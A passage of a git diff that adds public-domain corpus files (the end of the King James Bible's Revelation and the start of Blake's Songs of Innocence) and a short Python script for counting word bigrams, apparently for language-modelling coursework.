hear, nor walk: 9:21 Neither +repented they of their murders, nor of their sorceries, nor of their +fornication, nor of their thefts. + +10:1 And I saw another mighty angel come down from heaven, clothed +with a cloud: and a rainbow was upon his head, and his face was as it +were the sun, and his feet as pillars of fire: 10:2 And he had in his +hand a little book open: and he set his right foot upon the sea, and +his left foot on the earth, 10:3 And cried with a loud voice, as when +a lion roareth: and when he had cried, seven thunders uttered their +voices. + +10:4 And when the seven thunders had uttered their voices, I was about +to write: and I heard a voice from heaven saying unto me, Seal up +those things which the seven thunders uttered, and write them not. + +10:5 And the angel which I saw stand upon the sea and upon the earth +lifted up his hand to heaven, 10:6 And sware by him that liveth for +ever and ever, who created heaven, and the things that therein are, +and the earth, and the things that therein are, and the sea, and the +things which are therein, that there should be time no longer: 10:7 +But in the days of the voice of the seventh angel, when he shall begin +to sound, the mystery of God should be finished, as he hath declared +to his servants the prophets. + +10:8 And the voice which I heard from heaven spake unto me again, and +said, Go and take the little book which is open in the hand of the +angel which standeth upon the sea and upon the earth. + +10:9 And I went unto the angel, and said unto him, Give me the little +book. And he said unto me, Take it, and eat it up; and it shall make +thy belly bitter, but it shall be in thy mouth sweet as honey. + +10:10 And I took the little book out of the angel's hand, and ate it +up; and it was in my mouth sweet as honey: and as soon as I had eaten +it, my belly was bitter. + +10:11 And he said unto me, Thou must prophesy again before many +peoples, and nations, and tongues, and kings. + +11:1 And there was given me a reed like unto a rod: and the angel +stood, saying, Rise, and measure the temple of God, and the altar, and +them that worship therein. + +11:2 But the court which is without the temple leave out, and measure +it not; for it is given unto the Gentiles: and the holy city shall +they tread under foot forty and two months. + +11:3 And I will give power unto my two witnesses, and they shall +prophesy a thousand two hundred and threescore days, clothed in +sackcloth. + +11:4 These are the two olive trees, and the two candlesticks standing +before the God of the earth. + +11:5 And if any man will hurt them, fire proceedeth out of their +mouth, and devoureth their enemies: and if any man will hurt them, he +must in this manner be killed. + +11:6 These have power to shut heaven, that it rain not in the days of +their prophecy: and have power over waters to turn them to blood, and +to smite the earth with all plagues, as often as they will. + +11:7 And when they shall have finished their testimony, the beast that +ascendeth out of the bottomless pit shall make war against them, and +shall overcome them, and kill them. + +11:8 And their dead bodies shall lie in the street of the great city, +which spiritually is called Sodom and Egypt, where also our Lord was +crucified. + +11:9 And they of the people and kindreds and tongues and nations shall +see their dead bodies three days and an half, and shall not suffer +their dead bodies to be put in graves. + +11:10 And they that dwell upon the earth shall rejoice over them, and +make merry, and shall send gifts one to another; because these two +prophets tormented them that dwelt on the earth. + +11:11 And after three days and an half the spirit of life from God +entered into them, and they stood upon their feet; and great fear fell +upon them which saw them. + +11:12 And they heard a great voice from heaven saying unto them, Come +up hither. And they ascended up to heaven in a cloud; and their +enemies beheld them. + +11:13 And the same hour was there a great earthquake, and the tenth +part of the city fell, and in the earthquake were slain of men seven +thousand: and the remnant were affrighted, and gave glory to the God +of heaven. + +11:14 The second woe is past; and, behold, the third woe cometh +quickly. + +11:15 And the seventh angel sounded; and there were great voices in +heaven, saying, The kingdoms of this world are become the kingdoms of +our Lord, and of his Christ; and he shall reign for ever and ever. + +11:16 And the four and twenty elders, which sat before God on their +seats, fell upon their faces, and worshipped God, 11:17 Saying, We +give thee thanks, O LORD God Almighty, which art, and wast, and art to +come; because thou hast taken to thee thy great power, and hast +reigned. + +11:18 And the nations were angry, and thy wrath is come, and the time +of the dead, that they should be judged, and that thou shouldest give +reward unto thy servants the prophets, and to the saints, and them +that fear thy name, small and great; and shouldest destroy them which +destroy the earth. + +11:19 And the temple of God was opened in heaven, and there was seen +in his temple the ark of his testament: and there were lightnings, and +voices, and thunderings, and an earthquake, and great hail. + +12:1 And there appeared a great wonder in heaven; a woman clothed with +the sun, and the moon under her feet, and upon her head a crown of +twelve stars: 12:2 And she being with child cried, travailing in +birth, and pained to be delivered. + +12:3 And there appeared another wonder in heaven; and behold a great +red dragon, having seven heads and ten horns, and seven crowns upon +his heads. + +12:4 And his tail drew the third part of the stars of heaven, and did +cast them to the earth: and the dragon stood before the woman which +was ready to be delivered, for to devour her child as soon as it was +born. + +12:5 And she brought forth a man child, who was to rule all nations +with a rod of iron: and her child was caught up unto God, and to his +throne. + +12:6 And the woman fled into the wilderness, where she hath a place +prepared of God, that they should feed her there a thousand two +hundred and threescore days. + +12:7 And there was war in heaven: Michael and his angels fought +against the dragon; and the dragon fought and his angels, 12:8 And +prevailed not; neither was their place found any more in heaven. + +12:9 And the great dragon was cast out, that old serpent, called the +Devil, and Satan, which deceiveth the whole world: he was cast out +into the earth, and his angels were cast out with him. + +12:10 And I heard a loud voice saying in heaven, Now is come +salvation, and strength, and the kingdom of our God, and the power of +his Christ: for the accuser of our brethren is cast down, which +accused them before our God day and night. + +12:11 And they overcame him by the blood of the Lamb, and by the word +of their testimony; and they loved not their lives unto the death. + +12:12 Therefore rejoice, ye heavens, and ye that dwell in them. Woe to +the inhabiters of the earth and of the sea! for the devil is come down +unto you, having great wrath, because he knoweth that he hath but a +short time. + +12:13 And when the dragon saw that he was cast unto the earth, he +persecuted the woman which brought forth the man child. + +12:14 And to the woman were given two wings of a great eagle, that she +might fly into the wilderness, into her place, where she is nourished +for a time, and times, and half a time, from the face of the serpent. + +12:15 And the serpent cast out of his mouth water as a flood after the +woman, that he might cause her to be carried away of the flood. + +12:16 And the earth helped the woman, and the earth opened her mouth, +and swallowed up the flood which the dragon cast out of his mouth. + +12:17 And the dragon was wroth with the woman, and went to make war +with the remnant of her seed, which keep the commandments of God, and +have the testimony of Jesus Christ. + +13:1 And I stood upon the sand of the sea, and saw a beast rise up out +of the sea, having seven heads and ten horns, and upon his horns ten +crowns, and upon his heads the name of blasphemy. + +13:2 And the beast which I saw was like unto a leopard, and his feet +were as the feet of a bear, and his mouth as the mouth of a lion: and +the dragon gave him his power, and his seat, and great authority. + +13:3 And I saw one of his heads as it were wounded to death; and his +deadly wound was healed: and all the world wondered after the beast. + +13:4 And they worshipped the dragon which gave power unto the beast: +and they worshipped the beast, saying, Who is like unto the beast? who +is able to make war with him? 13:5 And there was given unto him a +mouth speaking great things and blasphemies; and power was given unto +him to continue forty and two months. + +13:6 And he opened his mouth in blasphemy against God, to blaspheme +his name, and his tabernacle, and them that dwell in heaven. + +13:7 And it was given unto him to make war with the saints, and to +overcome them: and power was given him over all kindreds, and tongues, +and nations. + +13:8 And all that dwell upon the earth shall worship him, whose names +are not written in the book of life of the Lamb slain from the +foundation of the world. + +13:9 If any man have an ear, let him hear. + +13:10 He that leadeth into captivity shall go into captivity: he that +killeth with the sword must be killed with the sword. Here is the +patience and the faith of the saints. + +13:11 And I beheld another beast coming up out of the earth; and he +had two horns like a lamb, and he spake as a dragon. + +13:12 And he exerciseth all the power of the first beast before him, +and causeth the earth and them which dwell therein to worship the +first beast, whose deadly wound was healed. + +13:13 And he doeth great wonders, so that he maketh fire come down +from heaven on the earth in the sight of men, 13:14 And deceiveth them +that dwell on the earth by the means of those miracles which he had +power to do in the sight of the beast; saying to them that dwell on +the earth, that they should make an image to the beast, which had the +wound by a sword, and did live. + +13:15 And he had power to give life unto the image of the beast, that +the image of the beast should both speak, and cause that as many as +would not worship the image of the beast should be killed. + +13:16 And he causeth all, both small and great, rich and poor, free +and bond, to receive a mark in their right hand, or in their +foreheads: 13:17 And that no man might buy or sell, save he that had +the mark, or the name of the beast, or the number of his name. + +13:18 Here is wisdom. Let him that hath understanding count the number +of the beast: for it is the number of a man; and his number is Six +hundred threescore and six. + +14:1 And I looked, and, lo, a Lamb stood on the mount Sion, and with +him an hundred forty and four thousand, having his Father's name +written in their foreheads. + +14:2 And I heard a voice from heaven, as the voice of many waters, and +as the voice of a great thunder: and I heard the voice of harpers +harping with their harps: 14:3 And they sung as it were a new song +before the throne, and before the four beasts, and the elders: and no +man could learn that song but the hundred and forty and four thousand, +which were redeemed from the earth. + +14:4 These are they which were not defiled with women; for they are +virgins. These are they which follow the Lamb whithersoever he goeth. +These were redeemed from among men, being the firstfruits unto God and +to the Lamb. + +14:5 And in their mouth was found no guile: for they are without fault +before the throne of God. + +14:6 And I saw another angel fly in the midst of heaven, having the +everlasting gospel to preach unto them that dwell on the earth, and to +every nation, and kindred, and tongue, and people, 14:7 Saying with a +loud voice, Fear God, and give glory to him; for the hour of his +judgment is come: and worship him that made heaven, and earth, and the +sea, and the fountains of waters. + +14:8 And there followed another angel, saying, Babylon is fallen, is +fallen, that great city, because she made all nations drink of the +wine of the wrath of her fornication. + +14:9 And the third angel followed them, saying with a loud voice, If +any man worship the beast and his image, and receive his mark in his +forehead, or in his hand, 14:10 The same shall drink of the wine of +the wrath of God, which is poured out without mixture into the cup of +his indignation; and he shall be tormented with fire and brimstone in +the presence of the holy angels, and in the presence of the Lamb: +14:11 And the smoke of their torment ascendeth up for ever and ever: +and they have no rest day nor night, who worship the beast and his +image, and whosoever receiveth the mark of his name. + +14:12 Here is the patience of the saints: here are they that keep the +commandments of God, and the faith of Jesus. + +14:13 And I heard a voice from heaven saying unto me, Write, Blessed +are the dead which die in the Lord from henceforth: Yea, saith the +Spirit, that they may rest from their labours; and their works do +follow them. + +14:14 And I looked, and behold a white cloud, and upon the cloud one +sat like unto the Son of man, having on his head a golden crown, and +in his hand a sharp sickle. + +14:15 And another angel came out of the temple, crying with a loud +voice to him that sat on the cloud, Thrust in thy sickle, and reap: +for the time is come for thee to reap; for the harvest of the earth is +ripe. + +14:16 And he that sat on the cloud thrust in his sickle on the earth; +and the earth was reaped. + +14:17 And another angel came out of the temple which is in heaven, he +also having a sharp sickle. + +14:18 And another angel came out from the altar, which had power over +fire; and cried with a loud cry to him that had the sharp sickle, +saying, Thrust in thy sharp sickle, and gather the clusters of the +vine of the earth; for her grapes are fully ripe. + +14:19 And the angel thrust in his sickle into the earth, and gathered +the vine of the earth, and cast it into the great winepress of the +wrath of God. + +14:20 And the winepress was trodden without the city, and blood came +out of the winepress, even unto the horse bridles, by the space of a +thousand and six hundred furlongs. + +15:1 And I saw another sign in heaven, great and marvellous, seven +angels having the seven last plagues; for in them is filled up the +wrath of God. + +15:2 And I saw as it were a sea of glass mingled with fire: and them +that had gotten the victory over the beast, and over his image, and +over his mark, and over the number of his name, stand on the sea of +glass, having the harps of God. + +15:3 And they sing the song of Moses the servant of God, and the song +of the Lamb, saying, Great and marvellous are thy works, Lord God +Almighty; just and true are thy ways, thou King of saints. + +15:4 Who shall not fear thee, O Lord, and glorify thy name? for thou +only art holy: for all nations shall come and worship before thee; for +thy judgments are made manifest. + +15:5 And after that I looked, and, behold, the temple of the +tabernacle of the testimony in heaven was opened: 15:6 And the seven +angels came out of the temple, having the seven plagues, clothed in +pure and white linen, and having their breasts girded with golden +girdles. + +15:7 And one of the four beasts gave unto the seven angels seven +golden vials full of the wrath of God, who liveth for ever and ever. + +15:8 And the temple was filled with smoke from the glory of God, and +from his power; and no man was able to enter into the temple, till the +seven plagues of the seven angels were fulfilled. + +16:1 And I heard a great voice out of the temple saying to the seven +angels, Go your ways, and pour out the vials of the wrath of God upon +the earth. + +16:2 And the first went, and poured out his vial upon the earth; and +there fell a noisome and grievous sore upon the men which had the mark +of the beast, and upon them which worshipped his image. + +16:3 And the second angel poured out his vial upon the sea; and it +became as the blood of a dead man: and every living soul died in the +sea. + +16:4 And the third angel poured out his vial upon the rivers and +fountains of waters; and they became blood. + +16:5 And I heard the angel of the waters say, Thou art righteous, O +Lord, which art, and wast, and shalt be, because thou hast judged +thus. + +16:6 For they have shed the blood of saints and prophets, and thou +hast given them blood to drink; for they are worthy. + +16:7 And I heard another out of the altar say, Even so, Lord God +Almighty, true and righteous are thy judgments. + +16:8 And the fourth angel poured out his vial upon the sun; and power +was given unto him to scorch men with fire. + +16:9 And men were scorched with great heat, and blasphemed the name of +God, which hath power over these plagues: and they repented not to +give him glory. + +16:10 And the fifth angel poured out his vial upon the seat of the +beast; and his kingdom was full of darkness; and they gnawed their +tongues for pain, 16:11 And blasphemed the God of heaven because of +their pains and their sores, and repented not of their deeds. + +16:12 And the sixth angel poured out his vial upon the great river +Euphrates; and the water thereof was dried up, that the way of the +kings of the east might be prepared. + +16:13 And I saw three unclean spirits like frogs come out of the mouth +of the dragon, and out of the mouth of the beast, and out of the mouth +of the false prophet. + +16:14 For they are the spirits of devils, working miracles, which go +forth unto the kings of the earth and of the whole world, to gather +them to the battle of that great day of God Almighty. + +16:15 Behold, I come as a thief. Blessed is he that watcheth, and +keepeth his garments, lest he walk naked, and they see his shame. + +16:16 And he gathered them together into a place called in the Hebrew +tongue Armageddon. + +16:17 And the seventh angel poured out his vial into the air; and +there came a great voice out of the temple of heaven, from the throne, +saying, It is done. + +16:18 And there were voices, and thunders, and lightnings; and there +was a great earthquake, such as was not since men were upon the earth, +so mighty an earthquake, and so great. + +16:19 And the great city was divided into three parts, and the cities +of the nations fell: and great Babylon came in remembrance before God, +to give unto her the cup of the wine of the fierceness of his wrath. + +16:20 And every island fled away, and the mountains were not found. + +16:21 And there fell upon men a great hail out of heaven, every stone +about the weight of a talent: and men blasphemed God because of the +plague of the hail; for the plague thereof was exceeding great. + +17:1 And there came one of the seven angels which had the seven vials, +and talked with me, saying unto me, Come hither; I will shew unto thee +the judgment of the great whore that sitteth upon many waters: 17:2 +With whom the kings of the earth have committed fornication, and the +inhabitants of the earth have been made drunk with the wine of her +fornication. + +17:3 So he carried me away in the spirit into the wilderness: and I +saw a woman sit upon a scarlet coloured beast, full of names of +blasphemy, having seven heads and ten horns. + +17:4 And the woman was arrayed in purple and scarlet colour, and +decked with gold and precious stones and pearls, having a golden cup +in her hand full of abominations and filthiness of her fornication: +17:5 And upon her forehead was a name written, MYSTERY, BABYLON THE +GREAT, THE MOTHER OF HARLOTS AND ABOMINATIONS OF THE EARTH. + +17:6 And I saw the woman drunken with the blood of the saints, and +with the blood of the martyrs of Jesus: and when I saw her, I wondered +with great admiration. + +17:7 And the angel said unto me, Wherefore didst thou marvel? I will +tell thee the mystery of the woman, and of the beast that carrieth +her, which hath the seven heads and ten horns. + +17:8 The beast that thou sawest was, and is not; and shall ascend out +of the bottomless pit, and go into perdition: and they that dwell on +the earth shall wonder, whose names were not written in the book of +life from the foundation of the world, when they behold the beast that +was, and is not, and yet is. + +17:9 And here is the mind which hath wisdom. The seven heads are seven +mountains, on which the woman sitteth. + +17:10 And there are seven kings: five are fallen, and one is, and the +other is not yet come; and when he cometh, he must continue a short +space. + +17:11 And the beast that was, and is not, even he is the eighth, and +is of the seven, and goeth into perdition. + +17:12 And the ten horns which thou sawest are ten kings, which have +received no kingdom as yet; but receive power as kings one hour with +the beast. + +17:13 These have one mind, and shall give their power and strength +unto the beast. + +17:14 These shall make war with the Lamb, and the Lamb shall overcome +them: for he is Lord of lords, and King of kings: and they that are +with him are called, and chosen, and faithful. + +17:15 And he saith unto me, The waters which thou sawest, where the +whore sitteth, are peoples, and multitudes, and nations, and tongues. + +17:16 And the ten horns which thou sawest upon the beast, these shall +hate the whore, and shall make her desolate and naked, and shall eat +her flesh, and burn her with fire. + +17:17 For God hath put in their hearts to fulfil his will, and to +agree, and give their kingdom unto the beast, until the words of God +shall be fulfilled. + +17:18 And the woman which thou sawest is that great city, which +reigneth over the kings of the earth. + +18:1 And after these things I saw another angel come down from heaven, +having great power; and the earth was lightened with his glory. + +18:2 And he cried mightily with a strong voice, saying, Babylon the +great is fallen, is fallen, and is become the habitation of devils, +and the hold of every foul spirit, and a cage of every unclean and +hateful bird. + +18:3 For all nations have drunk of the wine of the wrath of her +fornication, and the kings of the earth have committed fornication +with her, and the merchants of the earth are waxed rich through the +abundance of her delicacies. + +18:4 And I heard another voice from heaven, saying, Come out of her, +my people, that ye be not partakers of her sins, and that ye receive +not of her plagues. + +18:5 For her sins have reached unto heaven, and God hath remembered +her iniquities. + +18:6 Reward her even as she rewarded you, and double unto her double +according to her works: in the cup which she hath filled fill to her +double. + +18:7 How much she hath glorified herself, and lived deliciously, so +much torment and sorrow give her: for she saith in her heart, I sit a +queen, and am no widow, and shall see no sorrow. + +18:8 Therefore shall her plagues come in one day, death, and mourning, +and famine; and she shall be utterly burned with fire: for strong is +the Lord God who judgeth her. + +18:9 And the kings of the earth, who have committed fornication and +lived deliciously with her, shall bewail her, and lament for her, when +they shall see the smoke of her burning, 18:10 Standing afar off for +the fear of her torment, saying, Alas, alas that great city Babylon, +that mighty city! for in one hour is thy judgment come. + +18:11 And the merchants of the earth shall weep and mourn over her; +for no man buyeth their merchandise any more: 18:12 The merchandise of +gold, and silver, and precious stones, and of pearls, and fine linen, +and purple, and silk, and scarlet, and all thyine wood, and all manner +vessels of ivory, and all manner vessels of most precious wood, and of +brass, and iron, and marble, 18:13 And cinnamon, and odours, and +ointments, and frankincense, and wine, and oil, and fine flour, and +wheat, and beasts, and sheep, and horses, and chariots, and slaves, +and souls of men. + +18:14 And the fruits that thy soul lusted after are departed from +thee, and all things which were dainty and goodly are departed from +thee, and thou shalt find them no more at all. + +18:15 The merchants of these things, which were made rich by her, +shall stand afar off for the fear of her torment, weeping and wailing, +18:16 And saying, Alas, alas that great city, that was clothed in fine +linen, and purple, and scarlet, and decked with gold, and precious +stones, and pearls! 18:17 For in one hour so great riches is come to +nought. And every shipmaster, and all the company in ships, and +sailors, and as many as trade by sea, stood afar off, 18:18 And cried +when they saw the smoke of her burning, saying, What city is like unto +this great city! 18:19 And they cast dust on their heads, and cried, +weeping and wailing, saying, Alas, alas that great city, wherein were +made rich all that had ships in the sea by reason of her costliness! +for in one hour is she made desolate. + +18:20 Rejoice over her, thou heaven, and ye holy apostles and +prophets; for God hath avenged you on her. + +18:21 And a mighty angel took up a stone like a great millstone, and +cast it into the sea, saying, Thus with violence shall that great city +Babylon be thrown down, and shall be found no more at all. + +18:22 And the voice of harpers, and musicians, and of pipers, and +trumpeters, shall be heard no more at all in thee; and no craftsman, +of whatsoever craft he be, shall be found any more in thee; and the +sound of a millstone shall be heard no more at all in thee; 18:23 And +the light of a candle shall shine no more at all in thee; and the +voice of the bridegroom and of the bride shall be heard no more at all +in thee: for thy merchants were the great men of the earth; for by thy +sorceries were all nations deceived. + +18:24 And in her was found the blood of prophets, and of saints, and +of all that were slain upon the earth. + +19:1 And after these things I heard a great voice of much people in +heaven, saying, Alleluia; Salvation, and glory, and honour, and power, +unto the Lord our God: 19:2 For true and righteous are his judgments: +for he hath judged the great whore, which did corrupt the earth with +her fornication, and hath avenged the blood of his servants at her +hand. + +19:3 And again they said, Alleluia And her smoke rose up for ever and +ever. + +19:4 And the four and twenty elders and the four beasts fell down and +worshipped God that sat on the throne, saying, Amen; Alleluia. + +19:5 And a voice came out of the throne, saying, Praise our God, all +ye his servants, and ye that fear him, both small and great. + +19:6 And I heard as it were the voice of a great multitude, and as the +voice of many waters, and as the voice of mighty thunderings, saying, +Alleluia: for the Lord God omnipotent reigneth. + +19:7 Let us be glad and rejoice, and give honour to him: for the +marriage of the Lamb is come, and his wife hath made herself ready. + +19:8 And to her was granted that she should be arrayed in fine linen, +clean and white: for the fine linen is the righteousness of saints. + +19:9 And he saith unto me, Write, Blessed are they which are called +unto the marriage supper of the Lamb. And he saith unto me, These are +the true sayings of God. + +19:10 And I fell at his feet to worship him. And he said unto me, See +thou do it not: I am thy fellowservant, and of thy brethren that have +the testimony of Jesus: worship God: for the testimony of Jesus is the +spirit of prophecy. + +19:11 And I saw heaven opened, and behold a white horse; and he that +sat upon him was called Faithful and True, and in righteousness he +doth judge and make war. + +19:12 His eyes were as a flame of fire, and on his head were many +crowns; and he had a name written, that no man knew, but he himself. + +19:13 And he was clothed with a vesture dipped in blood: and his name +is called The Word of God. + +19:14 And the armies which were in heaven followed him upon white +horses, clothed in fine linen, white and clean. + +19:15 And out of his mouth goeth a sharp sword, that with it he should +smite the nations: and he shall rule them with a rod of iron: and he +treadeth the winepress of the fierceness and wrath of Almighty God. + +19:16 And he hath on his vesture and on his thigh a name written, KING +OF KINGS, AND LORD OF LORDS. + +19:17 And I saw an angel standing in the sun; and he cried with a loud +voice, saying to all the fowls that fly in the midst of heaven, Come +and gather yourselves together unto the supper of the great God; 19:18 +That ye may eat the flesh of kings, and the flesh of captains, and the +flesh of mighty men, and the flesh of horses, and of them that sit on +them, and the flesh of all men, both free and bond, both small and +great. + +19:19 And I saw the beast, and the kings of the earth, and their +armies, gathered together to make war against him that sat on the +horse, and against his army. + +19:20 And the beast was taken, and with him the false prophet that +wrought miracles before him, with which he deceived them that had +received the mark of the beast, and them that worshipped his image. +These both were cast alive into a lake of fire burning with brimstone. + +19:21 And the remnant were slain with the sword of him that sat upon +the horse, which sword proceeded out of his mouth: and all the fowls +were filled with their flesh. + +20:1 And I saw an angel come down from heaven, having the key of the +bottomless pit and a great chain in his hand. + +20:2 And he laid hold on the dragon, that old serpent, which is the +Devil, and Satan, and bound him a thousand years, 20:3 And cast him +into the bottomless pit, and shut him up, and set a seal upon him, +that he should deceive the nations no more, till the thousand years +should be fulfilled: and after that he must be loosed a little season. + +20:4 And I saw thrones, and they sat upon them, and judgment was given +unto them: and I saw the souls of them that were beheaded for the +witness of Jesus, and for the word of God, and which had not +worshipped the beast, neither his image, neither had received his mark +upon their foreheads, or in their hands; and they lived and reigned +with Christ a thousand years. + +20:5 But the rest of the dead lived not again until the thousand years +were finished. This is the first resurrection. + +20:6 Blessed and holy is he that hath part in the first resurrection: +on such the second death hath no power, but they shall be priests of +God and of Christ, and shall reign with him a thousand years. + +20:7 And when the thousand years are expired, Satan shall be loosed +out of his prison, 20:8 And shall go out to deceive the nations which +are in the four quarters of the earth, Gog, and Magog, to gather them +together to battle: the number of whom is as the sand of the sea. + +20:9 And they went up on the breadth of the earth, and compassed the +camp of the saints about, and the beloved city: and fire came down +from God out of heaven, and devoured them. + +20:10 And the devil that deceived them was cast into the lake of fire +and brimstone, where the beast and the false prophet are, and shall be +tormented day and night for ever and ever. + +20:11 And I saw a great white throne, and him that sat on it, from +whose face the earth and the heaven fled away; and there was found no +place for them. + +20:12 And I saw the dead, small and great, stand before God; and the +books were opened: and another book was opened, which is the book of +life: and the dead were judged out of those things which were written +in the books, according to their works. + +20:13 And the sea gave up the dead which were in it; and death and +hell delivered up the dead which were in them: and they were judged +every man according to their works. + +20:14 And death and hell were cast into the lake of fire. This is the +second death. + +20:15 And whosoever was not found written in the book of life was cast +into the lake of fire. + +21:1 And I saw a new heaven and a new earth: for the first heaven and +the first earth were passed away; and there was no more sea. + +21:2 And I John saw the holy city, new Jerusalem, coming down from God +out of heaven, prepared as a bride adorned for her husband. + +21:3 And I heard a great voice out of heaven saying, Behold, the +tabernacle of God is with men, and he will dwell with them, and they +shall be his people, and God himself shall be with them, and be their +God. + +21:4 And God shall wipe away all tears from their eyes; and there +shall be no more death, neither sorrow, nor crying, neither shall +there be any more pain: for the former things are passed away. + +21:5 And he that sat upon the throne said, Behold, I make all things +new. + +And he said unto me, Write: for these words are true and faithful. + +21:6 And he said unto me, It is done. I am Alpha and Omega, the +beginning and the end. I will give unto him that is athirst of the +fountain of the water of life freely. + +21:7 He that overcometh shall inherit all things; and I will be his +God, and he shall be my son. + +21:8 But the fearful, and unbelieving, and the abominable, and +murderers, and whoremongers, and sorcerers, and idolaters, and all +liars, shall have their part in the lake which burneth with fire and +brimstone: which is the second death. + +21:9 And there came unto me one of the seven angels which had the +seven vials full of the seven last plagues, and talked with me, +saying, Come hither, I will shew thee the bride, the Lamb's wife. + +21:10 And he carried me away in the spirit to a great and high +mountain, and shewed me that great city, the holy Jerusalem, +descending out of heaven from God, 21:11 Having the glory of God: and +her light was like unto a stone most precious, even like a jasper +stone, clear as crystal; 21:12 And had a wall great and high, and had +twelve gates, and at the gates twelve angels, and names written +thereon, which are the names of the twelve tribes of the children of +Israel: 21:13 On the east three gates; on the north three gates; on +the south three gates; and on the west three gates. + +21:14 And the wall of the city had twelve foundations, and in them the +names of the twelve apostles of the Lamb. + +21:15 And he that talked with me had a golden reed to measure the +city, and the gates thereof, and the wall thereof. + +21:16 And the city lieth foursquare, and the length is as large as the +breadth: and he measured the city with the reed, twelve thousand +furlongs. + +The length and the breadth and the height of it are equal. + +21:17 And he measured the wall thereof, an hundred and forty and four +cubits, according to the measure of a man, that is, of the angel. + +21:18 And the building of the wall of it was of jasper: and the city +was pure gold, like unto clear glass. + +21:19 And the foundations of the wall of the city were garnished with +all manner of precious stones. The first foundation was jasper; the +second, sapphire; the third, a chalcedony; the fourth, an emerald; +21:20 The fifth, sardonyx; the sixth, sardius; the seventh, +chrysolyte; the eighth, beryl; the ninth, a topaz; the tenth, a +chrysoprasus; the eleventh, a jacinth; the twelfth, an amethyst. + +21:21 And the twelve gates were twelve pearls: every several gate was +of one pearl: and the street of the city was pure gold, as it were +transparent glass. + +21:22 And I saw no temple therein: for the Lord God Almighty and the +Lamb are the temple of it. + +21:23 And the city had no need of the sun, neither of the moon, to +shine in it: for the glory of God did lighten it, and the Lamb is the +light thereof. + +21:24 And the nations of them which are saved shall walk in the light +of it: and the kings of the earth do bring their glory and honour into +it. + +21:25 And the gates of it shall not be shut at all by day: for there +shall be no night there. + +21:26 And they shall bring the glory and honour of the nations into +it. + +21:27 And there shall in no wise enter into it any thing that +defileth, neither whatsoever worketh abomination, or maketh a lie: but +they which are written in the Lamb's book of life. + +22:1 And he shewed me a pure river of water of life, clear as crystal, +proceeding out of the throne of God and of the Lamb. + +22:2 In the midst of the street of it, and on either side of the +river, was there the tree of life, which bare twelve manner of fruits, +and yielded her fruit every month: and the leaves of the tree were for +the healing of the nations. + +22:3 And there shall be no more curse: but the throne of God and of +the Lamb shall be in it; and his servants shall serve him: 22:4 And +they shall see his face; and his name shall be in their foreheads. + +22:5 And there shall be no night there; and they need no candle, +neither light of the sun; for the Lord God giveth them light: and they +shall reign for ever and ever. + +22:6 And he said unto me, These sayings are faithful and true: and the +Lord God of the holy prophets sent his angel to shew unto his servants +the things which must shortly be done. + +22:7 Behold, I come quickly: blessed is he that keepeth the sayings of +the prophecy of this book. + +22:8 And I John saw these things, and heard them. And when I had heard +and seen, I fell down to worship before the feet of the angel which +shewed me these things. + +22:9 Then saith he unto me, See thou do it not: for I am thy +fellowservant, and of thy brethren the prophets, and of them which +keep the sayings of this book: worship God. + +22:10 And he saith unto me, Seal not the sayings of the prophecy of +this book: for the time is at hand. + +22:11 He that is unjust, let him be unjust still: and he which is +filthy, let him be filthy still: and he that is righteous, let him be +righteous still: and he that is holy, let him be holy still. + +22:12 And, behold, I come quickly; and my reward is with me, to give +every man according as his work shall be. + +22:13 I am Alpha and Omega, the beginning and the end, the first and +the last. + +22:14 Blessed are they that do his commandments, that they may have +right to the tree of life, and may enter in through the gates into the +city. + +22:15 For without are dogs, and sorcerers, and whoremongers, and +murderers, and idolaters, and whosoever loveth and maketh a lie. + +22:16 I Jesus have sent mine angel to testify unto you these things in +the churches. I am the root and the offspring of David, and the bright +and morning star. + +22:17 And the Spirit and the bride say, Come. And let him that heareth +say, Come. And let him that is athirst come. And whosoever will, let +him take the water of life freely. + +22:18 For I testify unto every man that heareth the words of the +prophecy of this book, If any man shall add unto these things, God +shall add unto him the plagues that are written in this book: 22:19 +And if any man shall take away from the words of the book of this +prophecy, God shall take away his part out of the book of life, and +out of the holy city, and from the things which are written in this book. + +22:20 He which testifieth these things saith, Surely I come quickly. +Amen. + +Even so, come, Lord Jesus. + +22:21 The grace of our Lord Jesus Christ be with you all. Amen. + + +End of the Project Gutenberg Edition of the New Testament + + +End of the Project Gutenberg Edition of the King James Bible + + diff --git a/mccalum/bigrams.py b/mccalum/bigrams.py new file mode 100644 index 0000000..4051634 --- /dev/null +++ b/mccalum/bigrams.py @@ -0,0 +1,16 @@ +from dicts import DefaultDict + +def bigrams(words): + """Given an array of words, returns a dictionary of dictionaries, + containing occurrence counts of bigrams.""" + d = DefaultDict(DefaultDict(0)) + for (w1, w2) in zip([None] + words, words + [None]): + d[w1][w2] += 1 + return d + +def file2bigrams(filename): + return bigrams(open(filename).read().split()) + +#d = file2bigrams("gettysburgh") +#print "The phrase 'world will' occurs", d['world']['will'], "times." +#print "The phrase 'shall not' occurs", d['shall']['not'], "times." diff --git a/mccalum/blake-poems.txt b/mccalum/blake-poems.txt new file mode 100644 index 0000000..70b8385 --- /dev/null +++ b/mccalum/blake-poems.txt @@ -0,0 +1,1704 @@ +*****The Project Gutenberg Etext of Poems of William Blake***** +#1 in our series by William Blake + +[We will probably add more poems to this file as time goes on.] + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +William Blake + +SONGS OF INNOCENCE AND OF EXPERIENCE +and THE BOOK of THEL + + + + + + SONGS OF INNOCENCE + + + INTRODUCTION + + Piping down the valleys wild, + Piping songs of pleasant glee, + On a cloud I saw a child, + And he laughing said to me: + + "Pipe a song about a Lamb!" + So I piped with merry cheer. + "Piper, pipe that song again;" + So I piped: he wept to hear. + + "Drop thy pipe, thy happy pipe; + Sing thy songs of happy cheer:!" + So I sang the same again, + While he wept with joy to hear. + + "Piper, sit thee down and write + In a book, that all may read." + So he vanish'd from my sight; + And I pluck'd a hollow reed, + + And I made a rural pen, + And I stain'd the water clear, + And I wrote my happy songs + Every child may joy to hear. + + + THE SHEPHERD + + How sweet is the Shepherd's sweet lot! + From the morn to the evening he stays; + He shall follow his sheep all the day, + And his tongue shall be filled with praise. + + For he hears the lambs' innocent call, + And he hears the ewes' tender reply; + He is watching while they are in peace, + For they know when their Shepherd is nigh. + + + THE ECHOING GREEN + + The sun does arise, + And make happy the skies; + The merry bells ring + To welcome the Spring; + The skylark and thrush, + The birds of the bush, + Sing louder around + To the bells' cheerful sound; + While our sports shall be seen + On 